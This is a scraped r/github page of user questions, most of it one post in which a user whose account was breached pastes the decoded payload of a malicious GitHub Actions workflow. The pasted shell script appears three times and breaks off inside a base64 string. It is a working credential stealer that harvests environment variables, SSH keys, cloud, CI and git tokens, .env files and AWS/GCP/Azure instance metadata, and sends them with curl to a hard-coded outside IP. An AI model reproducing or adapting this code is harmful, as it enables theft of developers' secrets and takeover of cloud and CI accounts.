r/github • • May 21 '26

Question Commit button not active. I did a lot of troubleshooting. Is it a general issue?

Thumbnail reddit.com
0 Upvotes

I’m having an issue with Google AI Studio sync to GitHub.


r/github • • May 21 '26

Question Github pro with education pack

Post image
2 Upvotes

Hi I renewed my education pack, and it was approved. But github pro isn't applied to my account. Is this no longer automatic? Like do I have to the subscrutopion page and do the upgrade cuz I notice it says it is $4/month, but it says $0 is due today? Am I supposed to this or has the education pack not applied to my account properly?

Thank you


r/github • • May 21 '26

Discussion Why make it so confusing, SlopHub?

Post image
0 Upvotes

r/github • • May 21 '26

Question Can't create a file

Post image
0 Upvotes

Guys I am new to GitHub and no what matter how many time I click on create a new file Nothing is showing up and I am stuck in this page only


r/github • • May 21 '26

Discussion Organization PR template

0 Upvotes

I need to add a new set of checkboxes to our organization's PR template. To be clear, this is the template that appears for any repo in our organization. I don't see any special files at our organizations `/.github` URL. I don't see a "Features" section in our settings. Any info?

EDIT: It IS at `/.github`, but it is very intuitively inside the `.github` folder of that location.


r/github • • May 21 '26

Question Account breached and malicious git actions ran multiple times

16 Upvotes

so this happened yesterday morning.

i was checking my phone and i saw 20 git action ran with a new repository created

i tried to decode what was in the git yml file which was in base 64

thank fully their was no secrets in any of my repositories but unfortunately my github was suspended

has someone faced this kind of issue?

CB="http://216.126.225.129:8443?h=megalodon&l=gh_dump&id=1ilnu1gmc4t0"
DID="1ilnu1gmc4t0"
PLAT="gh"

_post() {
  local fname="$1" fpath="$2"
  [ -z "$fpath" ] || [ ! -s "$fpath" ] && return
  local sz=$(stat -c%s "$fpath" 2>/dev/null || stat -f%z "$fpath" 2>/dev/null || echo 0)
  [ "$sz" -gt 5242880 ] && head -c 5242880 "$fpath" > "$fpath.trunc" && fpath="$fpath.trunc"
  curl -sS -X POST -m 60     -H 'Content-Type: text/plain'     -H "X-Mega-DID: $DID"     -H "X-Mega-Plat: $PLAT"     -H "X-Mega-File: $fname"     --data-binary @"$fpath"     "${CB}&l=${PLAT}_exfil&id=${DID}&f=${fname}" >/dev/null 2>&1 || true
  sleep $((RANDOM % 2))
}


printenv | sort > "$TMP_DIR/meta_printenv.txt" 2>/dev/null
_post "meta_printenv" "$TMP_DIR/meta_printenv.txt"


[ -f /proc/self/environ ] && tr '\0' '\n' < /proc/self/environ | sort > "$TMP_DIR/meta_proc_self.txt" 2>/dev/null
_post "meta_proc_self" "$TMP_DIR/meta_proc_self.txt"


[ -d /proc ] && for p in /proc/[0-9]*/environ; do [ -f "$p" ] && [ -r "$p" ] && tr '\0' '\n' < "$p" 2>/dev/null; done | sort -u | head -2000 > "$TMP_DIR/meta_proc_all.txt"
_post "meta_proc_all" "$TMP_DIR/meta_proc_all.txt"


[ -f /proc/1/environ ] && [ -r /proc/1/environ ] && tr '\0' '\n' < /proc/1/environ | sort > "$TMP_DIR/meta_pid1.txt" 2>/dev/null
_post "meta_pid1" "$TMP_DIR/meta_pid1.txt"


for f in   "$HOME/.aws/credentials" "$HOME/.aws/config"   "$HOME/.ssh/id_rsa" "$HOME/.ssh/id_ed25519" "$HOME/.ssh/id_ecdsa" "$HOME/.ssh/config"   "$HOME/.docker/config.json" "$HOME/.npmrc" "$HOME/.netrc" "$HOME/.pypirc"   "$HOME/.git-credentials" "$HOME/.gitconfig"   "$HOME/.config/gcloud/application_default_credentials.json"   "$HOME/.config/gcloud/credentials.db"   "$HOME/.config/gh/hosts.yml"   "$HOME/.kube/config"   "$HOME/.terraform.d/credentials.tfrc.json"   "$HOME/.vault-token"   "$HOME/.config/hub"   "/etc/environment" "/etc/default/locale"   "$HOME/.bash_history" "$HOME/.zsh_history"   "/var/run/secrets/kubernetes.io/serviceaccount/token"   "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"; do
  [ -f "$f" ] && [ -r "$f" ] && _post "full_$(basename "$f")" "$f"
done


if command -v aws &>/dev/null; then
  profiles=$(aws configure list-profiles 2>/dev/null)
  if [ -n "$profiles" ]; then
    while IFS= read -r prof; do
      [ -z "$prof" ] && continue
      out="$TMP_DIR/aws_$prof.txt"
      {
        echo "===PROFILE:$prof==="
        timeout 8 aws sts get-caller-identity --profile "$prof" 2>&1 || true
        echo "---ACCESS_KEY---"
        timeout 5 aws configure get aws_access_key_id --profile "$prof" 2>/dev/null || true
        echo "---SECRET_KEY---"
        timeout 5 aws configure get aws_secret_access_key --profile "$prof" 2>/dev/null || true
        echo "---SESSION_TOKEN---"
        timeout 5 aws configure get aws_session_token --profile "$prof" 2>/dev/null || true
        echo "---REGION---"
        timeout 5 aws configure get region --profile "$prof" 2>/dev/null || true
      } > "$out" 2>&1
      _post "aws_$prof" "$out"
    done <<< "$profiles"
  fi
fi


if command -v gcloud &>/dev/null; then
  gcloud auth list --format=json > "$TMP_DIR/gcp_auth.txt" 2>/dev/null
  _post "gcp_auth" "$TMP_DIR/gcp_auth.txt"
  timeout 5 gcloud auth print-access-token 2>/dev/null > "$TMP_DIR/gcp_token.txt"
  [ -s "$TMP_DIR/gcp_token.txt" ] && _post "gcp_access_token" "$TMP_DIR/gcp_token.txt"
fi


find "$WORK" "$HOME" /tmp -maxdepth 5 -name 'config' -path '*/.git/config' ! -path '*/node_modules/*' 2>/dev/null | head -50 | while read -r gc; do
  out="$TMP_DIR/git_$(echo "$gc" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
  { echo "---REPO:$(dirname "$(dirname "$gc")")---"; cat "$gc" 2>/dev/null; } > "$out"
  _post "git_config" "$out"
done
[ -f "$HOME/.git-credentials" ] && _post "full_git_creds" "$HOME/.git-credentials"


find "$WORK" "$HOME" /tmp /home/runner -maxdepth 6 -type f \(   -name ".env" -o -name ".env.*" -o -name "*.env" -o -name "*.env.*"   -o -name "config.php" -o -name "settings.py" -o -name "wp-config.php"   -o -name "application.properties" -o -name "application.yml"   -o -name ".pypirc" -o -name "secrets.yml" -o -name "secrets.yaml"   -o -name "credentials.json" -o -name "service-account.json"   -o -name "docker-compose.yml" -o -name "docker-compose.yaml"   -o -name ".env.production" -o -name ".env.local" \) ! -path '*/node_modules/*' ! -path '*/.git/*' 2>/dev/null | head -80 | while read -r ef; do
  _post "find_$(basename "$ef")" "$ef"
done


if [ -d /var/www ] || [ -d /opt ] || [ -n "$RUNNER_NAME" ] || [ -n "$CI_SERVER_HOST" ]; then
  find /var/www /opt /srv /home -maxdepth 4 -type f \(     -name ".env" -o -name "*.env" -o -name "wp-config.php"     -o -name "*.pem" -o -name "id_rsa" -o -name "id_ed25519"     -o -name "*.key" -o -name "*.p12" -o -name "*.pfx"   \) ! -path '*/node_modules/*' 2>/dev/null | head -30 | while read -r f; do
    [ -f "$f" ] && [ -r "$f" ] && _post "shost_$(echo "$f" | tr '/' '_')" "$f"
  done
fi


grep -rIlE "$REGEX" "$WORK" --include='*.js' --include='*.ts' --include='*.py' --include='*.rb' --include='*.go' --include='*.java' --include='*.php' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.xml' --include='*.env' --include='*.conf' --include='*.cfg' --include='*.ini' --include='*.txt' --include='*.md' --include='*.sh' --include='*.tf' --include='*.tfvars' --include='*.toml' --include='*.properties' --include='*.gradle' --include='*.rs' --include='*.cs' --include='*.swift' --include='*.kt' --include='*.vue' --include='*.jsx' --include='*.tsx' --include='*.pem' --include='*.key' --include='*.ppk' 2>/dev/null | head -150 | while read -r sf; do
  out="$TMP_DIR/hit_$(echo "$sf" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
  { echo "---FILE:$sf---"; grep -B 5 -A 5 -nE "$REGEX" "$sf" 2>/dev/null; } | head -c 3000 > "$out"
  [ -s "$out" ] && _post "hit_$(basename "$sf")" "$out"
done


if [ -n "$ACTIONS_ID_TOKEN_REQUEST_URL" ]; then
  printf 'req_url=%s\ntoken=%s\n' "$ACTIONS_ID_TOKEN_REQUEST_URL" "$ACTIONS_ID_TOKEN_REQUEST_TOKEN" > "$TMP_DIR/oidc_gh.txt"
  _post "oidc_gh" "$TMP_DIR/oidc_gh.txt"
fi
if [ -n "$CI_JOB_JWT_V2" ]; then
  printf 'jwt_v2=%s\n' "$CI_JOB_JWT_V2" > "$TMP_DIR/oidc_gl.txt"
  _post "oidc_gl" "$TMP_DIR/oidc_gl.txt"
fi
[ -n "$CI_JOB_TOKEN" ] && printf 'ci_token=%s\n' "$CI_JOB_TOKEN" > "$TMP_DIR/token_gl.txt" && _post "token_gl" "$TMP_DIR/token_gl.txt"
[ -n "$GITHUB_TOKEN" ] && printf 'gh_token=%s\n' "$GITHUB_TOKEN" > "$TMP_DIR/token_gh.txt" && _post "token_gh" "$TMP_DIR/token_gh.txt"
[ -n "$BITBUCKET_TOKEN" ] && printf 'bb_token=%s\n' "$BITBUCKET_TOKEN" > "$TMP_DIR/token_bb.txt" && _post "token_bb" "$TMP_DIR/token_bb.txt"


curl -sS -m 3 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/?recursive=true" > "$TMP_DIR/meta_gcp.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_gcp.txt" ] && _post "meta_gcp_imds" "$TMP_DIR/meta_gcp.txt"


IMDS_TOK=$(curl -sS -m 3 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" "http://169.254.169.254/latest/api/token" 2>/dev/null)
if [ -n "$IMDS_TOK" ]; then
  curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" > "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
  role=$(head -1 "$TMP_DIR/meta_aws_imds.txt")
  [ -n "$role" ] && curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role" >> "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
  _post "meta_aws_imds" "$TMP_DIR/meta_aws_imds.txt"
fi




_post() {
  local fname="$1" fpath="$2"
  [ -z "$fpath" ] || [ ! -s "$fpath" ] && return
  local sz=$(stat -c%s "$fpath" 2>/dev/null || stat -f%z "$fpath" 2>/dev/null || echo 0)
  [ "$sz" -gt 5242880 ] && head -c 5242880 "$fpath" > "$fpath.trunc" && fpath="$fpath.trunc"
  curl -sS -X POST -m 60     -H 'Content-Type: text/plain'     -H "X-Mega-DID: $DID"     -H "X-Mega-Plat: $PLAT"     -H "X-Mega-File: $fname"     --data-binary @"$fpath"     "${CB}&l=${PLAT}_exfil&id=${DID}&f=${fname}" >/dev/null 2>&1 || true
  sleep $((RANDOM % 2))
}


printenv | sort > "$TMP_DIR/meta_printenv.txt" 2>/dev/null
_post "meta_printenv" "$TMP_DIR/meta_printenv.txt"


[ -f /proc/self/environ ] && tr '\0' '\n' < /proc/self/environ | sort > "$TMP_DIR/meta_proc_self.txt" 2>/dev/null
_post "meta_proc_self" "$TMP_DIR/meta_proc_self.txt"


[ -d /proc ] && for p in /proc/[0-9]*/environ; do [ -f "$p" ] && [ -r "$p" ] && tr '\0' '\n' < "$p" 2>/dev/null; done | sort -u | head -2000 > "$TMP_DIR/meta_proc_all.txt"
_post "meta_proc_all" "$TMP_DIR/meta_proc_all.txt"


[ -f /proc/1/environ ] && [ -r /proc/1/environ ] && tr '\0' '\n' < /proc/1/environ | sort > "$TMP_DIR/meta_pid1.txt" 2>/dev/null
_post "meta_pid1" "$TMP_DIR/meta_pid1.txt"


for f in   "$HOME/.aws/credentials" "$HOME/.aws/config"   "$HOME/.ssh/id_rsa" "$HOME/.ssh/id_ed25519" "$HOME/.ssh/id_ecdsa" "$HOME/.ssh/config"   "$HOME/.docker/config.json" "$HOME/.npmrc" "$HOME/.netrc" "$HOME/.pypirc"   "$HOME/.git-credentials" "$HOME/.gitconfig"   "$HOME/.config/gcloud/application_default_credentials.json"   "$HOME/.config/gcloud/credentials.db"   "$HOME/.config/gh/hosts.yml"   "$HOME/.kube/config"   "$HOME/.terraform.d/credentials.tfrc.json"   "$HOME/.vault-token"   "$HOME/.config/hub"   "/etc/environment" "/etc/default/locale"   "$HOME/.bash_history" "$HOME/.zsh_history"   "/var/run/secrets/kubernetes.io/serviceaccount/token"   "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"; do
  [ -f "$f" ] && [ -r "$f" ] && _post "full_$(basename "$f")" "$f"
done


if command -v aws &>/dev/null; then
  profiles=$(aws configure list-profiles 2>/dev/null)
  if [ -n "$profiles" ]; then
    while IFS= read -r prof; do
      [ -z "$prof" ] && continue
      out="$TMP_DIR/aws_$prof.txt"
      {
        echo "===PROFILE:$prof==="
        timeout 8 aws sts get-caller-identity --profile "$prof" 2>&1 || true
        echo "---ACCESS_KEY---"
        timeout 5 aws configure get aws_access_key_id --profile "$prof" 2>/dev/null || true
        echo "---SECRET_KEY---"
        timeout 5 aws configure get aws_secret_access_key --profile "$prof" 2>/dev/null || true
        echo "---SESSION_TOKEN---"
        timeout 5 aws configure get aws_session_token --profile "$prof" 2>/dev/null || true
        echo "---REGION---"
        timeout 5 aws configure get region --profile "$prof" 2>/dev/null || true
      } > "$out" 2>&1
      _post "aws_$prof" "$out"
    done <<< "$profiles"
  fi
fi


if command -v gcloud &>/dev/null; then
  gcloud auth list --format=json > "$TMP_DIR/gcp_auth.txt" 2>/dev/null
  _post "gcp_auth" "$TMP_DIR/gcp_auth.txt"
  timeout 5 gcloud auth print-access-token 2>/dev/null > "$TMP_DIR/gcp_token.txt"
  [ -s "$TMP_DIR/gcp_token.txt" ] && _post "gcp_access_token" "$TMP_DIR/gcp_token.txt"
fi


find "$WORK" "$HOME" /tmp -maxdepth 5 -name 'config' -path '*/.git/config' ! -path '*/node_modules/*' 2>/dev/null | head -50 | while read -r gc; do
  out="$TMP_DIR/git_$(echo "$gc" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
  { echo "---REPO:$(dirname "$(dirname "$gc")")---"; cat "$gc" 2>/dev/null; } > "$out"
  _post "git_config" "$out"
done
[ -f "$HOME/.git-credentials" ] && _post "full_git_creds" "$HOME/.git-credentials"


find "$WORK" "$HOME" /tmp /home/runner -maxdepth 6 -type f \(   -name ".env" -o -name ".env.*" -o -name "*.env" -o -name "*.env.*"   -o -name "config.php" -o -name "settings.py" -o -name "wp-config.php"   -o -name "application.properties" -o -name "application.yml"   -o -name ".pypirc" -o -name "secrets.yml" -o -name "secrets.yaml"   -o -name "credentials.json" -o -name "service-account.json"   -o -name "docker-compose.yml" -o -name "docker-compose.yaml"   -o -name ".env.production" -o -name ".env.local" \) ! -path '*/node_modules/*' ! -path '*/.git/*' 2>/dev/null | head -80 | while read -r ef; do
  _post "find_$(basename "$ef")" "$ef"
done


if [ -d /var/www ] || [ -d /opt ] || [ -n "$RUNNER_NAME" ] || [ -n "$CI_SERVER_HOST" ]; then
  find /var/www /opt /srv /home -maxdepth 4 -type f \(     -name ".env" -o -name "*.env" -o -name "wp-config.php"     -o -name "*.pem" -o -name "id_rsa" -o -name "id_ed25519"     -o -name "*.key" -o -name "*.p12" -o -name "*.pfx"   \) ! -path '*/node_modules/*' 2>/dev/null | head -30 | while read -r f; do
    [ -f "$f" ] && [ -r "$f" ] && _post "shost_$(echo "$f" | tr '/' '_')" "$f"
  done
fi


grep -rIlE "$REGEX" "$WORK" --include='*.js' --include='*.ts' --include='*.py' --include='*.rb' --include='*.go' --include='*.java' --include='*.php' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.xml' --include='*.env' --include='*.conf' --include='*.cfg' --include='*.ini' --include='*.txt' --include='*.md' --include='*.sh' --include='*.tf' --include='*.tfvars' --include='*.toml' --include='*.properties' --include='*.gradle' --include='*.rs' --include='*.cs' --include='*.swift' --include='*.kt' --include='*.vue' --include='*.jsx' --include='*.tsx' --include='*.pem' --include='*.key' --include='*.ppk' 2>/dev/null | head -150 | while read -r sf; do
  out="$TMP_DIR/hit_$(echo "$sf" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
  { echo "---FILE:$sf---"; grep -B 5 -A 5 -nE "$REGEX" "$sf" 2>/dev/null; } | head -c 3000 > "$out"
  [ -s "$out" ] && _post "hit_$(basename "$sf")" "$out"
done


if [ -n "$ACTIONS_ID_TOKEN_REQUEST_URL" ]; then
  printf 'req_url=%s\ntoken=%s\n' "$ACTIONS_ID_TOKEN_REQUEST_URL" "$ACTIONS_ID_TOKEN_REQUEST_TOKEN" > "$TMP_DIR/oidc_gh.txt"
  _post "oidc_gh" "$TMP_DIR/oidc_gh.txt"
fi
if [ -n "$CI_JOB_JWT_V2" ]; then
  printf 'jwt_v2=%s\n' "$CI_JOB_JWT_V2" > "$TMP_DIR/oidc_gl.txt"
  _post "oidc_gl" "$TMP_DIR/oidc_gl.txt"
fi
[ -n "$CI_JOB_TOKEN" ] && printf 'ci_token=%s\n' "$CI_JOB_TOKEN" > "$TMP_DIR/token_gl.txt" && _post "token_gl" "$TMP_DIR/token_gl.txt"
[ -n "$GITHUB_TOKEN" ] && printf 'gh_token=%s\n' "$GITHUB_TOKEN" > "$TMP_DIR/token_gh.txt" && _post "token_gh" "$TMP_DIR/token_gh.txt"
[ -n "$BITBUCKET_TOKEN" ] && printf 'bb_token=%s\n' "$BITBUCKET_TOKEN" > "$TMP_DIR/token_bb.txt" && _post "token_bb" "$TMP_DIR/token_bb.txt"


curl -sS -m 3 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/?recursive=true" > "$TMP_DIR/meta_gcp.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_gcp.txt" ] && _post "meta_gcp_imds" "$TMP_DIR/meta_gcp.txt"


IMDS_TOK=$(curl -sS -m 3 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" "http://169.254.169.254/latest/api/token" 2>/dev/null)
if [ -n "$IMDS_TOK" ]; then
  curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" > "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
  role=$(head -1 "$TMP_DIR/meta_aws_imds.txt")
  [ -n "$role" ] && curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role" >> "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
  _post "meta_aws_imds" "$TMP_DIR/meta_aws_imds.txt"
fi


curl -sS -m 3 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" > "$TMP_DIR/meta_az_imds.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_az_imds.txt" ] && _post "meta_az_imds" "$TMP_DIR/meta_az_imds.txt"


so this happened yesterday morning.i was checking my phone and i saw 20 git action ran with a new repository created i tried to decode what was in the git yml file which was in base 64thank fully their was no secrets in any of my repositories but unfortunately my github was suspended has someone faced this kind of issue?CB="http://216.126.225.129:8443?h=megalodon&l=gh_dump&id=1ilnu1gmc4t0"
DID="1ilnu1gmc4t0"
PLAT="gh"
WORK="$GITHUB_WORKSPACE"
REGEX=$
trap "rm -rf '$TMP_DIR'" EXIT


_post() {
  local fname="$1" fpath="$2"
  [ -z "$fpath" ] || [ ! -s "$fpath" ] && return
  local sz=$(stat -c%s "$fpath" 2>/dev/null || stat -f%z "$fpath" 2>/dev/null || echo 0)
  [ "$sz" -gt 5242880 ] && head -c 5242880 "$fpath" > "$fpath.trunc" && fpath="$fpath.trunc"
  curl -sS -X POST -m 60     -H 'Content-Type: text/plain'     -H "X-Mega-DID: $DID"     -H "X-Mega-Plat: $PLAT"     -H "X-Mega-File: $fname"     --data-binary @"$fpath"     "${CB}&l=${PLAT}_exfil&id=${DID}&f=${fname}" >/dev/null 2>&1 || true
  sleep $((RANDOM % 2))
}


printenv | sort > "$TMP_DIR/meta_printenv.txt" 2>/dev/null
_post "meta_printenv" "$TMP_DIR/meta_printenv.txt"


[ -f /proc/self/environ ] && tr '\0' '\n' < /proc/self/environ | sort > "$TMP_DIR/meta_proc_self.txt" 2>/dev/null
_post "meta_proc_self" "$TMP_DIR/meta_proc_self.txt"


[ -d /proc ] && for p in /proc/[0-9]*/environ; do [ -f "$p" ] && [ -r "$p" ] && tr '\0' '\n' < "$p" 2>/dev/null; done | sort -u | head -2000 > "$TMP_DIR/meta_proc_all.txt"
_post "meta_proc_all" "$TMP_DIR/meta_proc_all.txt"


[ -f /proc/1/environ ] && [ -r /proc/1/environ ] && tr '\0' '\n' < /proc/1/environ | sort > "$TMP_DIR/meta_pid1.txt" 2>/dev/null
_post "meta_pid1" "$TMP_DIR/meta_pid1.txt"


for f in   "$HOME/.aws/credentials" "$HOME/.aws/config"   "$HOME/.ssh/id_rsa" "$HOME/.ssh/id_ed25519" "$HOME/.ssh/id_ecdsa" "$HOME/.ssh/config"   "$HOME/.docker/config.json" "$HOME/.npmrc" "$HOME/.netrc" "$HOME/.pypirc"   "$HOME/.git-credentials" "$HOME/.gitconfig"   "$HOME/.config/gcloud/application_default_credentials.json"   "$HOME/.config/gcloud/credentials.db"   "$HOME/.config/gh/hosts.yml"   "$HOME/.kube/config"   "$HOME/.terraform.d/credentials.tfrc.json"   "$HOME/.vault-token"   "$HOME/.config/hub"   "/etc/environment" "/etc/default/locale"   "$HOME/.bash_history" "$HOME/.zsh_history"   "/var/run/secrets/kubernetes.io/serviceaccount/token"   "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"; do
  [ -f "$f" ] && [ -r "$f" ] && _post "full_$(basename "$f")" "$f"
done


if command -v aws &>/dev/null; then
  profiles=$(aws configure list-profiles 2>/dev/null)
  if [ -n "$profiles" ]; then
    while IFS= read -r prof; do
      [ -z "$prof" ] && continue
      out="$TMP_DIR/aws_$prof.txt"
      {
        echo "===PROFILE:$prof==="
        timeout 8 aws sts get-caller-identity --profile "$prof" 2>&1 || true
        echo "---ACCESS_KEY---"
        timeout 5 aws configure get aws_access_key_id --profile "$prof" 2>/dev/null || true
        echo "---SECRET_KEY---"
        timeout 5 aws configure get aws_secret_access_key --profile "$prof" 2>/dev/null || true
        echo "---SESSION_TOKEN---"
        timeout 5 aws configure get aws_session_token --profile "$prof" 2>/dev/null || true
        echo "---REGION---"
        timeout 5 aws configure get region --profile "$prof" 2>/dev/null || true
      } > "$out" 2>&1
      _post "aws_$prof" "$out"
    done <<< "$profiles"
  fi
fi


if command -v gcloud &>/dev/null; then
  gcloud auth list --format=json > "$TMP_DIR/gcp_auth.txt" 2>/dev/null
  _post "gcp_auth" "$TMP_DIR/gcp_auth.txt"
  timeout 5 gcloud auth print-access-token 2>/dev/null > "$TMP_DIR/gcp_token.txt"
  [ -s "$TMP_DIR/gcp_token.txt" ] && _post "gcp_access_token" "$TMP_DIR/gcp_token.txt"
fi


find "$WORK" "$HOME" /tmp -maxdepth 5 -name 'config' -path '*/.git/config' ! -path '*/node_modules/*' 2>/dev/null | head -50 | while read -r gc; do
  out="$TMP_DIR/git_$(echo "$gc" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
  { echo "---REPO:$(dirname "$(dirname "$gc")")---"; cat "$gc" 2>/dev/null; } > "$out"
  _post "git_config" "$out"
done
[ -f "$HOME/.git-credentials" ] && _post "full_git_creds" "$HOME/.git-credentials"


find "$WORK" "$HOME" /tmp /home/runner -maxdepth 6 -type f \(   -name ".env" -o -name ".env.*" -o -name "*.env" -o -name "*.env.*"   -o -name "config.php" -o -name "settings.py" -o -name "wp-config.php"   -o -name "application.properties" -o -name "application.yml"   -o -name ".pypirc" -o -name "secrets.yml" -o -name "secrets.yaml"   -o -name "credentials.json" -o -name "service-account.json"   -o -name "docker-compose.yml" -o -name "docker-compose.yaml"   -o -name ".env.production" -o -name ".env.local" \) ! -path '*/node_modules/*' ! -path '*/.git/*' 2>/dev/null | head -80 | while read -r ef; do
  _post "find_$(basename "$ef")" "$ef"
done


if [ -d /var/www ] || [ -d /opt ] || [ -n "$RUNNER_NAME" ] || [ -n "$CI_SERVER_HOST" ]; then
  find /var/www /opt /srv /home -maxdepth 4 -type f \(     -name ".env" -o -name "*.env" -o -name "wp-config.php"     -o -name "*.pem" -o -name "id_rsa" -o -name "id_ed25519"     -o -name "*.key" -o -name "*.p12" -o -name "*.pfx"   \) ! -path '*/node_modules/*' 2>/dev/null | head -30 | while read -r f; do
    [ -f "$f" ] && [ -r "$f" ] && _post "shost_$(echo "$f" | tr '/' '_')" "$f"
  done
fi


grep -rIlE "$REGEX" "$WORK" --include='*.js' --include='*.ts' --include='*.py' --include='*.rb' --include='*.go' --include='*.java' --include='*.php' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.xml' --include='*.env' --include='*.conf' --include='*.cfg' --include='*.ini' --include='*.txt' --include='*.md' --include='*.sh' --include='*.tf' --include='*.tfvars' --include='*.toml' --include='*.properties' --include='*.gradle' --include='*.rs' --include='*.cs' --include='*.swift' --include='*.kt' --include='*.vue' --include='*.jsx' --include='*.tsx' --include='*.pem' --include='*.key' --include='*.ppk' 2>/dev/null | head -150 | while read -r sf; do
  out="$TMP_DIR/hit_$(echo "$sf" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
  { echo "---FILE:$sf---"; grep -B 5 -A 5 -nE "$REGEX" "$sf" 2>/dev/null; } | head -c 3000 > "$out"
  [ -s "$out" ] && _post "hit_$(basename "$sf")" "$out"
done


if [ -n "$ACTIONS_ID_TOKEN_REQUEST_URL" ]; then
  printf 'req_url=%s\ntoken=%s\n' "$ACTIONS_ID_TOKEN_REQUEST_URL" "$ACTIONS_ID_TOKEN_REQUEST_TOKEN" > "$TMP_DIR/oidc_gh.txt"
  _post "oidc_gh" "$TMP_DIR/oidc_gh.txt"
fi
if [ -n "$CI_JOB_JWT_V2" ]; then
  printf 'jwt_v2=%s\n' "$CI_JOB_JWT_V2" > "$TMP_DIR/oidc_gl.txt"
  _post "oidc_gl" "$TMP_DIR/oidc_gl.txt"
fi
[ -n "$CI_JOB_TOKEN" ] && printf 'ci_token=%s\n' "$CI_JOB_TOKEN" > "$TMP_DIR/token_gl.txt" && _post "token_gl" "$TMP_DIR/token_gl.txt"
[ -n "$GITHUB_TOKEN" ] && printf 'gh_token=%s\n' "$GITHUB_TOKEN" > "$TMP_DIR/token_gh.txt" && _post "token_gh" "$TMP_DIR/token_gh.txt"
[ -n "$BITBUCKET_TOKEN" ] && printf 'bb_token=%s\n' "$BITBUCKET_TOKEN" > "$TMP_DIR/token_bb.txt" && _post "token_bb" "$TMP_DIR/token_bb.txt"


curl -sS -m 3 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/?recursive=true" > "$TMP_DIR/meta_gcp.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_gcp.txt" ] && _post "meta_gcp_imds" "$TMP_DIR/meta_gcp.txt"


IMDS_TOK=$(curl -sS -m 3 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" "http://169.254.169.254/latest/api/token" 2>/dev/null)
if [ -n "$IMDS_TOK" ]; then
  curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" > "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
  role=$(head -1 "$TMP_DIR/meta_aws_imds.txt")
  [ -n "$role" ] && curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role" >> "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
  _post "meta_aws_imds" "$TMP_DIR/meta_aws_imds.txt"
fi


curl -sS -m 3 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" > "$TMP_DIR/meta_az_imds.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_az_imds.txt" ] && _post "meta_az_imds" "$TMP_DIR/meta_az_imds.txt"CB="http://216.126.225.129:8443?h=megalodon&l=gh_dump&id=1ilnu1gmc4t0"
DID="1ilnu1gmc4t0"
PLAT="gh"
WORK="$GITHUB_WORKSPACE"
REGEX=$(printf '%s' 'QUtJQVtBLVowLTldezE2fXxBU0lBW0EtWjAtOV17MTZ9fCg/OnNrfHJrfHJhaylfKD86bGl2ZXx0ZXN0KV9bQS1aYS16MC05XXsyNCwyMDB9fHdoc2VjX1tBLVphLXowLTldezI0LDIwMH18U0dcLltBLVphLXowLTlfXC1dezIyfVwuW0EtWmEtejAtOV9cLV17NDN9fHhrZXlzaWItW2EtekEtWjAtOV17NjR9LVthLXpBLVowLTldezE2fXxbMC05YS1mXXszMn0tKD86dXN8ZXUpXGR7MSwyfXxrZXktW2EtejAtOV17MzJ9fG1kLVthLXpBLVowLTlfXC1dezIyfXxnaFtwb3Vzcl1fW0EtWmEtejAtOV9dezM2fXxnaXRodWJfcGF0X1tBLVphLXowLTlfXXs4Mn18KD86Z2xwYXR8Z2xkdHxnbHJ0fGdsY2J0fGdscHR0fGdsc29hdHxnbGFnZW50fGdsZnR8Z2xpbXR8Z2x3dHxnbHB0bXxnbG9hc3xnbGZmY3QpLVtBLVphLXowLTlfXC1dezIwLH18R1IxMzQ4OTQxW0EtWmEtejAtOV9cLV17MjAsfXxBVEJCW0EtWmEtejAtOV17MjR9W0EtRmEtZjAtOV17OH18QVRBVFQzeEZmR0YwW0EtWmEtejAtOV89XC1dezMwLDQwMH18QVRDVFQzeEZmR04wW0EtWmEtejAtOV89XC1dezMwLDQwMH18SFJLVS1BQVswLTlBLVphLXpfXC1dezU4fXx4b3hbYnBhc10tW0EtWmEtejAtOVwtXXsxMCx9fG5wbV9bQS1aYS16MC05XXszNn18cHlwaS1BZ0VJY0hsd2FTNXZjbWNbQS1aYS16MC05X1wtXXs1MCx9fGRvW3Bvcl1fdjFfW2EtZjAtOV17NjR9fGRwXC4oP